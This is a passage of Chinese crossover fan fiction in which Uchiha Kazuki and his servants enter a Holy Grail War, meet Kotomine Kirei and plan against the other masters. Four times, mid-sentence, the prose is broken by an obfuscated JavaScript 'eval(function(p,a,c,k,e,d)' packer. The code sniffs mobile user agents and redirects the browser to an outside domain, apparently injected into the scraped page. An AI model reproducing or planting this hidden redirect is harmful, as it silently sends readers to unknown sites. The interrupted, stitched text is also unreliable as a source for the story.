“为了不当黑手党首领,所以要成为黑手党首领,这个逻辑真的是正常的吗?!”纲吉怀疑的看着他。虽然这个师兄刚登场的时候,看起来比迪诺靠谱不少,但是——他在几分钟以前才当着所有人的面,埋在另一个男人的怀里大哭特哭了一场啊,这是一个正常男人做得出来的事情吗?!Reborn不会是只教问题儿童的家庭教师吧! “你喜欢什么动物呢?”完全无视了他的怀疑,一树自顾自的扔出了下一个问题。纲吉虽然心里吐槽他自说自话,但还是老实回答道:“猫吧……怎、怎么了?” “喵~”一声喵叫声自一树的怀里响起。他朝着纲吉摊开手,一只橘色的小猫从他的手心里探出头来,随后是圆滚滚的身体,短短胖胖的尾巴,它以一种完全不符合体型的轻盈动作蹦到纲吉怀里,一来就不客气的舔了舔他的脸蛋,惹得纲吉一边叫着好痒,一边止不住的露出笑脸来。 “这是我留给你的使魔,之后如果不能及时见面的话,就有劳它来为我们传递消息了。”一树笑着说道,终于向师弟道了别,带着自家三位从者离开了沢田家。 按照计划,他们直接杀去了圣殿教堂,然而因为监督者言峰绮礼并不在此地,他们不得不在此等候了一会儿。带土和卡卡西坐在教堂第一排的长椅上,对着教堂万花筒一般的花窗玻璃评头论足,一树捧着脸在他们背后看了他们半天,这才顶着满头怒放的花花,一屁股坐到了散兵身边。 “哼。”人偶抱着胳膊,别开了头,不想去看他亮晶晶的蓝眼睛。“真不明白,为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837683|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有人会喜欢看别人亲近?” “因为看到大家很幸福,我也觉得很幸福啊~”一树拿肩膀抵了抵他的肩膀。“诶,说起来,之前你回到你的世界以后,你的过去改变了吗?” “过去?”散兵警觉的回过头。“难道你的过去又改变了?你家里出事了吗?” “是啊,我妹妹本来才八岁,不知道为什么,年龄突然翻倍了。”一树默默望天,至今想起这个,他还有种想流泪的冲动。“你知道吗?我本来有一本相册,每年小薰过生日,我都会和爸爸妈妈一起挑一张她这一年最可爱的相片放进去,但那里面有八张照片,我得很努力、很努力才想的起来挑选它们时的心情。” 因为那原本不是他做过的事,虽然时间线融合后,记忆也回归了,但就像他和Reborn之间的关系一样,除非真正面对它,否则很难有真实感。 “你后悔了吗?”散兵紧紧盯着他满是遗憾的面容,眼眸突然沉了下去。“因为这些变化,你后悔帮助宇智波萤,后悔穿越了吗?如果当初什么都没做,此时此刻的一切,应该都和你离开之前没什么分别,这样,你会觉得更好吗?” 那么,我呢?你忘记了所有的一切,是不是因为也后悔来到提瓦特,后悔遇到了我呢? 想到这里,他空荡荡的胸腔里不由泛起了一阵难言的疼痛。 “啊?这个啊……”他听到一树慢悠悠的回答,恨不得抓着他的颈子,让他能说的快些。这个问题难道很难回答吗?只要说“是”或者“不是”,给他一个答案就可以了!如果对方的答案是“是”的话—— 那么,不如把他抓回提瓦特,然后关起来吧!只要他一直在自己身边,他完全可以忍受仇恨,反正这种东西,他也早就已经习惯了…… “完全没有哦。”一树这样回答道。 散兵:“……” “你知道,为什么小薰本来会比我小十岁吗?”反正萤并不在这里,一树也就随便说了。“其实,因为我的祖母当年难产,死在了产房里,爸爸有些心理阴影,一开始只打算要一个孩子的。但他告诉我,我十岁的时候,萤大人的精神已经濒临崩溃了,甚至打算在我成年以后,就彻底离开我们。虽然他也知道,这么做很失败,很不讲道理,对孩子也很不公平,但还是和妈妈商量,有了第二个孩子,还特意用萤大人妹妹的名字——‘薰’,来为她命名。” 你是为了给这个世界带来希望,而诞生的天使哦。在小薰还小的时候,秀幸时常抱着她,这样对她说道,所以家里人也会叫她安琪儿。不知道是这一措施真的有了作用,还是萤意识到自己对他的伤害以后,更隐秘的隐藏了自己的心情,反正自那以后,一树记忆里就没有什么算得上家庭危机的事情了。 “如果说,从那个时空回来以后,我真的有一瞬间为未来会改变而害怕的话,那就是小薰会不复存在。如果真的失去了她的话,我肯定会觉得,继续活在世上也没什么意义了。”带着轻松的笑容,一树说出了非常恐怖的话,以至于散兵看向他的目光逐渐变得诡异。“但是这种事并没有发生嘛,只是增加了八岁而已,都不算什么的啦,哈哈哈哈!” ——这么说着的一树,并不知道小薰会打破他们爸爸妈妈留下的记录,在四年后就宣布自己即将步入婚姻的殿堂。一树哭着把她送上花车的时候,对命运的憎恨骤然到达了极点,差点踏上先祖同款离家出走去追寻力量的道路,做一个不回家的人。 19.第十九章 等到言峰绮礼回到教堂时,迎接他的是一片烟尘弥漫的废墟。 …… 等等,是不是有哪里不对?! “对不起!”被他评价为本次圣杯战争最大异数的魔术师,全然没有想象中的高高在上,而是满脸羞愧的站在他面前,双手合十,十分诚恳的对着他再三道歉道:“我真没想到,带土大人和卡卡西大人光是吵架还不够,说着说着,还突然打起来了……你放心,重建教堂的资金,我会全额支付的!” 事实上,即使不用他说,言峰绮礼只要一抬头,就能看到两道模糊的人影在废墟的上空极速的冲击、碰撞,时不时发出几声讥讽的大笑和听不清内容的对话。但他的注意力并没有长久的停留在这件事上,而是很快低下头,继续打量起了面前的少年。 宇智波一树。他在心里咀嚼着这个名字。虽然几年前,他就参与过一次圣杯战争了,但那个时候,他所召唤的英灵从者把他当做珍贵且脆弱的宝石一般珍藏在匣子里,就连作为监督者的他的父亲言峰璃正也缘悭一面,是以他们明明早就有过交集,却直到此时,才第一次面对面的相见。 那场圣杯战争,他实则也是御主之一,在老师远坂时臣的指导下召唤了咒腕哈桑,然而,圣杯战争一开始,他把Assassin派去酒店,试图侦查住在此地的一树的信息……英灵当晚就被无情杀死,魔力被小圣杯吸收,连半点消息也未曾带回,他甚至连杀死他的凶手是谁都不知道。 这一次,一树所召唤的,并非当年那三位从者,但仍有两位是他的先祖,必然会比其他英灵更乐于听从他的命令。那么,对于其他参与者来说,这场圣杯战争虽然才刚刚开始,却已经等同于走到了尽头。 “……您太客气了。”好半晌,言峰绮礼才终于开口说道:“比起这个,你还不打算让你的从者停下来吗?” 在和其他从者照面之前,就如此肆无忌惮的消耗魔力,他是因为赢过一次,所以自信自己已是万无一失,还是根本管不了他们呢? “没关系,他们没用宝具,耗费不了多少魔力的。”一树根本没当回事,毕竟这点魔力消耗,还赶不上他自然恢复的。然而,他注视着言峰绮礼的眼睛,忽然说道:“其实,在召唤从者以前,我甚至还思考了一下,你们是否修复了上一次圣杯战争中‘只要御主魔力足够,就能召唤一个以上英灵’的bug呢。” 他低低的笑了一声:“却没想到,和上一次一样,我一下子就召唤成功了。” 言峰绮礼:“……” 圣杯战争的召唤系统当然没有任何问题,因为一般魔术师的魔力只能维持一个英灵的存在,何必针对大部分人根本不可能做到的事呢?但偏偏面前这位魔术师魔力强大到十二岁时就能让三位从者毫无顾虑的自由行动,他如今已经成年,魔力比起之前只增不减,想来如今展示出来的,还是收敛了的实力。 真是麻烦,到底为什么,他这么爱坏人好事? “宝贝,你说的好轻松啊!”恰在此时,那两个刚才还在争锋相对的英灵悄无声息的来到他的身后,亲昵的搭住了他的肩膀。言峰绮礼知道他们正是木叶的第五代火影及其丈夫,有些好奇的抬头多看了两眼——恰如传说中那般,这两个人分享了同一双魔眼,是一对无论生前还是死后感情都十分要好的伴侣。带土笑着说道:“再说了,只怕就算爱因兹贝伦想要修改召唤系统,也是做不到的吧。” “还是先做正事吧,不要说这些有的没的了。”卡卡西拍了他一巴掌,朝御主使了个眼色,示意他赶紧回想起他们此行的目的。于是,一树露出一副恍然大悟的表情,转头对言峰绮礼说道:“你也参加了上一次的圣杯战争,一定是知道的,虽然并不公平,但只要我用上写轮眼,你是无法在我的幻术中保住任何秘密的。” “不如说,既然我都站在你面前了,得到圣杯的人选也不可能有第二个,所以,你就直接告诉我其他六个御主的信息吧,我主动找上门去,总比他们不自量力的来试探我强!” 言峰绮礼:“……那还真是谢谢你的仁慈了。” 虽然作为监督者,他应该保持绝对中立的立场,拒绝参与者这种毫无道理的要求,不过诚如一树所说,反抗他也不过只会得到一顿毒打罢了,已知无用却仍然坚持,是愚蠢的人才会做的决定,是以言峰绮礼毫不犹豫,就将所有参与者与英灵的真名和盘托出。 “原来如此,远坂凛,间桐慎二,伊莉雅丝菲尔·冯·爱因兹贝伦和……卫宫士郎啊。”一树嘴角抽搐。这几个熟悉的姓氏,让他一下子就回到了上一次圣杯战争的回忆里。真是的。他忍不住在心里抱怨道。如果御三家真的铁了心想要赢得大圣杯的话,又何必将英灵定为七骑,或者只允许他们自己人参与争夺仪式好了,那样的话,既不会牵扯无辜的人,他也绝不会淌这趟浑水了。 他想起远坂时臣的死亡,虽然那个人,他根本一次也没见过,但听说他是被自己的族人、木叶前任火影宇智波隆逼迫,和驭使的英灵英雄王吉尔伽美什闹翻,最终被英灵杀害了……爱因兹贝伦的爱丽丝菲尔·冯·爱因兹贝伦则是作为开启大圣杯的钥匙而死亡,倒没想到,他们家会让这一任的小圣杯直接成为御主,这到底是拼尽全力,还是不自量力呢? “……卫宫切嗣也在日本吗?如果我没记错的话,伊莉雅和卫宫士郎应该都是他的孩子吧……?” 那位倔强又固执的魔术师杀手,不会又在暗处默默注视着这次圣杯战争吧?自己和他本来就有旧怨,要是又一次因为同一件事对上,只怕这回,他不惜性命也一定要杀了自己了,但为了一个被污染的圣杯,在失去妻子以后,还要赌上自己两个孩子的性命,他的理智真的还存在吗? 一树想不明白,但言峰绮礼给了他一个出乎意料的答案:“不,他几年前就死在德国了。据说是因为没能赢得大圣杯,爱因兹贝伦家族痛恨他,再不允许他见女儿伊莉雅,在那之后不久,他就郁郁离世了,所以,你不必担心他成为这场圣杯战争的阻碍。” “啊……” 有那么一瞬间,一树瞪大眼睛,流露出了不可置信的神情。带土从后面轻轻搂住他,想要让他不要为此感觉内疚,但直到后面他们返回宇智波家,一树也显得有些郁郁寡欢,对于热情迎接而来的宇智波修一也没什么交谈的心情,只和他寒暄了两句,就告辞回客房休息去了。 “他这是怎么了?谁惹我们的一树少爷不高兴了?”修一在上一次圣杯战争中,作为家族派过去照看他的魔术师之一和他结识,这些年来,双方也多有联系,倒难得见到他这幅模样,不由好奇的询问起了带土。 “他长大了嘛。”带土给了他一个似是而非的答案。“大人就是会有很多莫名其妙的烦恼的啦,而且闹脾气也不像小时候一样有豁免权了呢。” “好吧,我不多嘴了,等他自己调整好吧。”修一耸了耸肩,反正,他今晚想招待的也不是一树,而是眼前的两位英灵先祖呢。 “欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846575|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎来到现世!带土大人,卡卡西大人,圣杯战争什么的先放在一边,反正即使你们什么都不做,一树也一定能赢得圣杯的,那么,不如想想接下来一段时间要怎么游玩吧!” 另一边,散兵跟着一树进了屋子,看他一头扑倒在宽大的床上,不由凌空而起,抱着肩居高临下、恨铁不成钢的对他说道:“你不会觉得,是你赢了圣杯,才害死那个人的吧?因为这么无聊的想法而感觉内疚的话,实在是太愚蠢了!” “……那当然没有啦,那个时候,我本来也做不了几位先祖的主啊!还有,你不要用这种视角盯着我看啦,感觉好奇怪哦。”一树吐槽道,朝他招了招手。散兵虽然露出十分不耐烦的表情,但还是顺着他的意思,落下去坐到了床边。 “那又是为什么不高兴?” 他讨厌一树的脸上露出那样的表情来,他就应该一直笑着,好像永远都没有烦恼,永远都不会伤心一样。 这样,自己也就不会被他的情绪牵动心弦了…… “因为感觉世事无常嘛……即使再怎么挣扎,被改变的人生也已经无法逆转了。”一树有些唏嘘的说道。“其实当初,萤大人说要把圣杯还给他的时候,我就猜到,接下来他大概会生不如死了。” 与对待家人时的温柔体贴全然不同,萤面对敌人的时候,从来不会有任何多余的情绪,是以也从不会对任何人心存怜悯。而且他对家里的每个孩子都充满了保护欲,有人试图伤害他们,甚至比直接对上萤本人更容易让他变得愤怒,是以当年他并没有杀人,而是好好把人送了回去,只代表着他为对方设计了比死亡更惨痛的结局。 “哦?但你看起来,并不像是在责怪萤呢。”散兵有些讽刺的说道。“你既为死者的遭遇伤心,却又并不去怪罪伤害他的人,呵,我应该把这叫做鳄鱼的眼泪吗?” “我怎么可能去责怪萤大人,毕竟归根结底,他也是为了保护我啊!”一树理所当然的说道。萤无论做什么都是对的,在他这里就是永恒不变的真理,无论发生什么事,他都不可能去否认萤的。 “十只手指还有长短呢,人自然也是避免不了偏心的。”一树说。“要我说的话,圣杯才是万恶之源吧,如果一开始它就没有被创造出来,也就没后面这些事了。” “可它既没有自己的意识,既不能开口否认,也没有手脚可以挣扎,明明将愿望寄托在它上面的是人类自己,到头来被责怪的却还是它,你不觉得这很可笑吗?”散兵提醒他不要以为这件事能完全甩给不能拒绝的圣杯,一树则是想起他是个人偶,本质上也是被制造出来的非人物,暗暗在心里责怪自己祸从口出,刺激了他敏感的心灵,不由清了清嗓子,用更温和的语调对他说道:“话说回来,带土大人和卡卡西大人的愿望就是来到现世,如今也算是实现了,你既然回应了我的召唤,应该也有自己的愿望吧?不用客气,直接告诉我,说不定不需要圣杯,我就可以为你完成呢?” “那你要自己想。”散兵冷冷的回答,转过头去,只给一树留下一个不近人情的背影。一树当即不高兴的反问道:“我?我怎么会知道?” “你本来知道的啊,完全是你自己忘掉了。” 此言一出,一树委实反驳不能,只能憋屈的闭上了嘴,不高兴的扯了一把他帽子上垂落的绸带。他在心里思索,自己不会一直被人偶用这件事拿捏吧?问题是这件事也不能全怪他啊,全然没发现对方悄悄勾起的嘴角。 ——他的愿望已经实现了。 20.第二十章 当天晚上,一树做了一个奇怪的梦。 他梦到自己变成了一只漂亮的小鸟,有着华丽的羽毛和清脆的歌喉,在一处陌生且阴暗的森林里飞来飞去。他遇到了一朵薄荷色的小花,和她分享了自己雨后刚采的美味蘑菇,然后——他们就双双倒在了蘑菇的残骸旁,双双睡得不省人事。 梦中不知为何,他听到一个人的声音,在黑暗中喃喃自语般的说道:“我曾三度遭到背叛,因而懂得世间万物,不过是欺瞒的幌子。我的愤怒,绝不平息!” 这个声音愤怒的诉说了自己的经历:身为创作者的“母亲”被力量所惑,将他抛弃,随后结交的、如同家人一般的朋友,却因为恐惧而视他为憎恶之物,最后是他收养的、承载着他全部期望的幼童,最终却因为寿限所控,违背了昔日陪伴他的约定。 “人,绝不可信;神,亦令我憎恨!” 伴随着这样的话语,出现在他们面前的,是一只被雷光包裹的凶恶小猫,它的背后连接着数条奇怪的管道,朝着小鸟和小花龇着牙,凶恶的“喵嗷”了一声。 小鸟目瞪口呆,完全不知道该做出什么样的反应,小花却立刻拜倒在小猫面前,声称他是真的神灵,虔诚的向他祷告。随后,在一只戴着花的小兔子和一只会飞的茄子的帮助下,小鸟和小花从梦中醒了过来,小兔子告诉小鸟,这片森林的主人草神被怪物抓住,关了起来,所以森林才会终日不见阳光,也没有鲜花绽放,连鸟儿的歌声都比以前少了,他们必须救出草神,才能拯救这片森林! 小鸟很高兴自己能帮上她们的忙,于是告别了小花,选择了和她们同行。他们在森林深处,遇到了伤害神明的怪物,对方披着厚厚的皮毛,却长着尖利的鸟喙,全然看不出真实的样貌。他用晦暗的目光长久的注视着小鸟,终于对他说道:“原来如此,我终于明白,你对我的厌恶是从何而来了。” 他用锋利的爪牙刺穿了小鸟的心口,幸亏小鸟拥有自愈的力量,很快就从重伤中恢复过来,召来无数树木化作木龙,将怪物杀死。随后,小兔子集结了森林里的其他小动物,大家一起爬上森林中最高的山坡,见到了被禁锢在这里的,仿佛白萝卜一样外形的草神,他们解开了她的囚笼,陪伴着她,一同走进森林的黑夜,见到了正在拼命啃咬月亮的小猫。 对着他们,小猫露出了锋利的爪牙,他朝着草神扑过来,想要夺走她身体里的那颗心,却反被草神抓住,抢走了他手里原本持有的雷神之心。链接着他和黑夜的管道一根根断裂,他从高空中掉下来,心软的小鸟扑扇着翅膀,试图飞上去接住他,却带着他一起掉入了一个突然出现的黑洞里…… “啊——”一树猛地从床上坐了起来。 散兵还留在他的房间里,安静的依靠着墙站着,只是斜了他一眼,似乎并不怎么想搭理他。倒是带土像人类一样从屋外打开房门,探进头来打量了他几眼:“怎么了?叫的那么大声。昨晚不是还有个人留在屋子里陪着你吗?” “带土大人,不要说得我还是个没人陪就不敢睡着的小孩子啦!”一树捂着额头,条件反射的反驳道。他抬起头,发现带土换了一身现代装扮,身上戴满了各种首饰,打扮得仿佛随时都能去参加演唱会似的,顿时警觉的瞪圆了眼睛,反问道:“你和卡卡西大人,不会是打算抛下我不管,自己去玩吧?” “怎么能说是抛下你不管呢,你不是还有一个漂亮能干还什么都愿意听你的从者吗?更何况修一很乐意帮你忙啊,我已经帮你打点好了,有什么事找他就行了。”带土连忙打了个哈哈。虽然昨天一时被可爱的后辈所迷惑,但和卡卡西泡了一晚上温泉以后,他立刻就回想起了自己此行的初心——和别的英灵打架什么的,当然没有度假来的快乐啊! “好啦,赶紧起来吃早饭了,今天圣杯战争已经正式打响了,你还有很多事情要做呢。”他叮嘱完御主,立刻就关上门溜了,留下一树愤怒的把一个枕头砸向紧闭的房门,掀开被子从床上跳了起来。 “你之前居然没有告诉我,我们一开始是敌人。”胸中积蓄的复杂情绪没法疏解,他立刻把矛头指向了散兵。后者抱着胳膊,一没好气的白了他一眼,理所当然的说道:“你也没有问过我啊,怎么,现在后悔自己结识了一个做过诸多坏事的恶人了吗?” 一树:“……” 一树默默昂起了头:“并没有,我的老师目前还保留着世界第一杀手的桂冠呢。” 散兵:“……” “这么想起来,我的师兄和师弟都是黑手党,先祖也干过人体实验啊,挑起战争啊,杀人全家啊,灭国啊,甚至平行世界我们家带土大人和鼬大人还干过把全家杀得只剩下佐助大人一个人,斑大人和带土大人还试图洗脑全世界所有人的事……” “你别说了……”前愚人众六席不忍直视的抬手挡住了脸——虽然他早就从一树口中得知过他们家的恐怖历史,但每每听他这样理所当然的说起,还是感觉自己像是活在一个12+的游戏里。 “你会后悔自己认识一个流着这么罪恶的鲜血的人吗?也许将来有一天,我也会突然做出和他们同样的事情哦,毕竟在宇智波一族的历史上,这种事情已经发生过太多太多次了嘛!”一树笑嘻嘻的反问道。 “你是你,你的先祖是你的先祖。”散兵立刻反驳道。“即便我是被创造者亲手所做,不也一样不符合她的期望,随后被她抛弃了么?” “……”本来试图转移话题免得戳中他的伤心事的一树。 为什么会有人说话老嘲讽自己呢?算了,他还是老实闭嘴吧。 见他跳下床准备换衣服,散兵闪身出了门。等一树洗漱完从卫生间走出来,就见他把一个装满食物的托盘放在床边的桌子上,示意自己过来吃。 “哇,你居然会做饭,好厉害啊!那我完全能明白,为什么我们会从敌人变成朋友了。”一树凑过去一看,见盘子上放着的全都是自己喜欢的点心,立刻就明白这些东西绝不是来自这间别墅的厨房——毕竟来木叶以后,他还是第一次来修一的家里拜访呢,这里的厨师应该也根本不清楚自己的喜好才对。 “但我们从你的朋友变成你唯一的朋友,靠的可不就是这个了。”散兵意有所指的说道,随后他别过头,谢绝了一脸无语的一树塞过来试图堵他嘴巴的三色团子。“别给我,我不吃,腻腻歪歪的甜东西,牙齿都要黏在一起了,你自己留着吧。” “那你可真是不懂欣赏呢。”一树皮笑肉不笑的说道,心里暗暗腹诽道:居然不爱吃甜食,真是个没品的家伙! ……不过他手艺真的很好啊,不吃点心的人还能做出这么好吃的东西,这是合理的吗?! 他并不知道散兵撑着下巴望着他,想起的却是被他遗忘的一些过往:某人曾经骄傲的扬着下巴,振振有词的对他说过,宇智波的血管里流淌的不是血液,而是蜜糖。 虽然,自己没法验证这句话的真假,但至少,自己清楚的知道,他的确拥有一根非常甜蜜的舌头呢。英灵有些心猿意马的想到。 等到宇智波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14854113|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修一见到一树的时候,几乎能看到他头上实质化的小花。虽然不知道他的心情是怎么由昨晚的郁闷转为今日的兴高采烈的,但修一对此提也不提,只是直截了当的进入正题:“我昨晚叫人查过了,伊莉雅丝菲尔住在城郊的城堡里,随行的只有两位人造人女仆,并没有爱因兹贝伦的族人。至于远坂和间桐两家,前者自从远坂时臣去世以后,就家道中落了,他们家的继承人此前都由此次圣杯战争的监督者言峰绮礼在照看,而且她年龄太小,没什么使用魔术的记录,后者么,他们此次派出的御主间桐慎二有点奇怪——据打探的族人回报,他的魔术回路近乎没有呢。” 魔术回路是一个魔术师的根基。 没有魔术回路,这具□□就难以容纳魔力;没有魔力,自然就没办法使用任何魔术。 “不过,间桐家的魔道早在一百年多前就落寞了,子嗣没有一个出众的,上一次圣杯战争,他家派出的御主间桐雁夜魔术回路也不怎么样,这次兴许是为了强撑面子,用了点手段召唤出英灵的吧。”修一随口说道。作为木叶建国以前就存在的、历史悠久的大家族,宇智波家委实见证了太多姓氏的兴起和落寞,是以这样的事已不足以让他侧目了。 “他还有个妹妹,本来是远坂家的女儿,也就是远坂家的御主远坂凛的妹妹。远坂时臣还活着的时候,把女儿过继给了间桐家,不知道是想让她来继承魔术刻印,还是想通过她和间桐慎二的结合,来生下魔力更强大的子嗣。” 他看一树有些不高兴的皱起眉,知道他因为被巴瑟梅罗家族逼迫一事,不太喜欢这种纯粹利益的结合,因而点到为止,转而温和的说道:“最后是卫宫士郎,他是卫宫切嗣的养子,并没有继承他的魔术刻印。根据打探的消息,他并不是出于自身意愿成为御主的,是他的身体里存有圣剑阿瓦隆的剑鞘,无意之中以此召唤了亚瑟王。” “一共七位御主,除了御三家的三位以外,大家居然全都不是为了圣杯而来吗……”一树有些诧异于这次参与的御主集体的年幼和羸弱。要知道上一次圣杯战争,参与的还有魔术师杀手、时钟塔君主和他的高徒呢,这次倒好,他一个高三生都成了参与者中年龄最大的那个了,其余御主,似乎只有远坂凛勉强算是踏上了魔术的道路。 是因为御三家都已是血脉凋零,拿不出更有竞争力的魔术师,所以在某些方面做了限制吗? “不过这么看来,爱因兹贝伦家果然是要放弃圣杯战争了啊。”不管伊莉雅能不能得到最终的胜利,作为小圣杯的她,在开启大圣杯之后都是必死无疑,所以即使获得最终的胜利,那个愿望也绝不属于她。爱因兹贝伦没有族人随她一起前来日本,显然是家族也并不看好她能取胜了。 “早就该放弃了吧,都说事不过三,这都已经是第五次实验了,难道前四次的圣杯战争,有哪怕一次是按照他们理想的方向进行的吗?”修一勾起嘴角,讽刺的说道:“若不是他们把太多的精力放在这种无聊的事上,昔日实现第三法的,也不会是我们家的萤大人了。” “也不知道当年萤大人为了得到第三法,对爱因兹贝伦做了什么哦。”一树揶揄道。虽然并没有人特意告诉他,但他也隐约知道,爱因兹贝伦家族如今的落寞,和萤当年的所作所为脱不开关系,只不过对方委实打不过宇智波一族,是以不敢找上门复仇罢了。 “反正,打从七年前开始,他们家也恨死你了。”修一耸了耸肩。“那么,小圣杯和卫宫士郎由你处理,我来帮你解决远坂家和间桐家,如何?” 21.第二十一章 对于族兄这种代劳的友好提议,一树当然是选择——照单全收啦! “谢谢!”他猛地拉住修一的手,使劲摇了摇,满是感动的说道。“这次我一定会把大圣杯彻底处理掉,这样,以后你们就不用费心为参赛者搞出的动静遮掩了呢!” 毕竟从者们打起架来,是多么惊天动地破坏性一流,昨天他的钱包已经深刻见识过了。 “没关系。”修一宽容的回答道。“反正那些不科学的动静,我们都说是煤气爆炸来着,大家都很容易相信。比起这个,你还是多管管九喇嘛吧,它才回来几个月,已经和守鹤打出好几场地震了呢。” 一树:“……哈哈。” 私密马赛修一桑,这个瓦达西真的做不到呢! 突然,他听到自己的手机传来叮咚一声,提示他有新信息送达,不由心下狂喜,借着拿出手机的动作遮掩自己的尴尬。不过等他看过短信以后,又满头问号的抬起了头:“怎么有个高专发短信来叫我入学啊?” “是东京都立咒术高等学校吧。别理他,不过是个不入流的巫术教育学校罢了,应该是检测到了你的魔力,所以想要来拉拢你吧。”修一不用看他递过来的手机,就明白是怎么回事了,作为出身名门的大少爷,他毫不掩饰自己的轻蔑,摊着手同一树简单介绍道。“说是为了维护木叶的和平,所以要吸收合格的人成为咒术师,真是搞笑,当我们宇智波一族是死人吗?老老实实承认是想从我等手里夺权,我还能高看他们一眼,毕竟你也知道,我们家的规矩一直是谁拳头硬谁说话的……嗯,这么说起来,百年以前,他们的高层,五条家和禅院家还派人来咱们家挑衅,说要打败我们名不副实的写轮眼呢。” “后来呢?”一树心说即使如今魔眼横行,写轮眼的确不像过去那样亮眼,家族里除了他以外,也暂时没人重现木遁和轮回眼,但要说能使用须佐能乎的永恒万花筒名不副实,也未免太自大了吧。 “哈哈,虽然我也很想同你说一场忍者和咒术师之间精彩绝伦的大战,不过很可惜,当年,八尾牛鬼大人恰好正在家里做客,它对禅院家召唤的魔虚罗很感兴趣,所以把它连同术士一起带到海里去了,至于另一个,你还可以在实验室里看到他的眼睛呢,他们管它叫‘六眼’,具体有什么用,这个我就没详细了解过了。倒是听说二十多年前,他们家终于又生出了第二个六眼的拥有者,也算此生圆满了吧。”修一说着,忽然单手托腮,含笑朝一树眨了眨眼睛。“这么一想,还真是无趣啊,这个新的六眼,怎么不来找我们麻烦了呢?毕竟现在,我们一族中的最强者也在此地嘛,他要是来的话,我一定能见识到一场空前绝后的大战吧。” “讨厌,我才不喜欢打架呢。”一树皱了皱鼻子。虽然家族盛赞他是百年来最像宇智波斑的宇智波,但先祖的好斗,他可真是没有继承到一点啊。想到这里,他把双手交握在一起,抵在胸口,做出祈祷的姿态来,充满期盼的说道:“真希望宇宙另一头的萤大人能保佑我,在圣杯战争结束以后,就让我回归到平静的生活吧!” “哈哈哈……”修一刚想打探他理想中的生活到底是什么模样,以便日后满足他的心愿,他的部下就敲响了房门。两个宇智波于是停下说话,叫了人进来,却没想到来人向他们报告了一个冷酷的消息—— “言峰绮礼昨夜被人杀害了。” “……是猜到我一定会向他打听其他参赛者的消息,所以故意去将他灭口了吗?”一树第一时间想到这个理由,不由失落的垂下了头。修一摸着下巴,补充道:“也许是知道他必然扛不住带土大人和卡卡西大人的压力,会完全向你坦白其他参与者的信息,所以为了泄愤而杀了他呢?” “好啦,圣堂教会的人死了,调查凶手是圣堂教会该操心的事。”他拍了拍一树的肩膀。“看在你的面子上,我会为他举行一个五十年后也令人难以忘怀的豪华葬礼的,你就去忙你自己的事吧。” “那好吧。”一树抬起了头,脸上的神情已经恢复了一贯的平静。“其实,虽然只见了一面,但不知道为什么,那个言峰绮礼,总给我一种不太好的感觉……或许事情并不会在这里结束也说不一定哦,所以,修一哥哥,接下来还是小心点比较好。” “哇哦,你说出了相当刺激的话呢。”这才像个宇智波的样子嘛。这样想着,并没有把一树的话放在心上的修一,最后拍了拍一树的肩膀,送他和英灵从者一同出了门。 ——两个人都默契的没提,为什么一树吃完早饭出来,他的某两个从者就不见踪影了。 * 想要到达位于森林深处的洋馆,必须徒步穿过茂密的森林。一树踏入森林的时候,感觉到了一股非常强力的阻力——看不见的结界严严实实的笼罩着整片森林,抗拒着所有外人的来访。 不过,在一树打开写轮眼,用那双仿佛浸了血一般猩红的眼睛看了结界一眼后,整个结界便像是春日到来的冰雪一般彻底融化了。散兵看着他迈进森林,继续朝着城堡进发,忍不住开口道:“这么粗暴的话,被惊动的敌人,可不会乖乖站在原地等着你哦。” 他有心说自己可以带着一树飞过去,至于到底是为了节省时间,还是出于别的什么心思,那就说不一定了。一树却毫不犹豫的大手一挥,随意说道:“不用担心!修一哥哥既然派了人跟着我们,肯定也早就封锁附近的道路了。对方手里也有英灵,还是相当厉害的英灵,不会这么容易离开的。” 毕竟——那个从者,可是传说中力大无穷、战无不胜,完成了十二试炼的大英雄,赫拉克勒斯呢! “哼。”原本,来自异世界的散兵应该听不懂一树所说的希腊神话是什么,然而,就在他降临在这世上的时候,圣杯就通过魔力向他“灌输”了这世上的一切“概念”,是以他想装听不懂都不行。“这么说,你是在担心我这个反派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 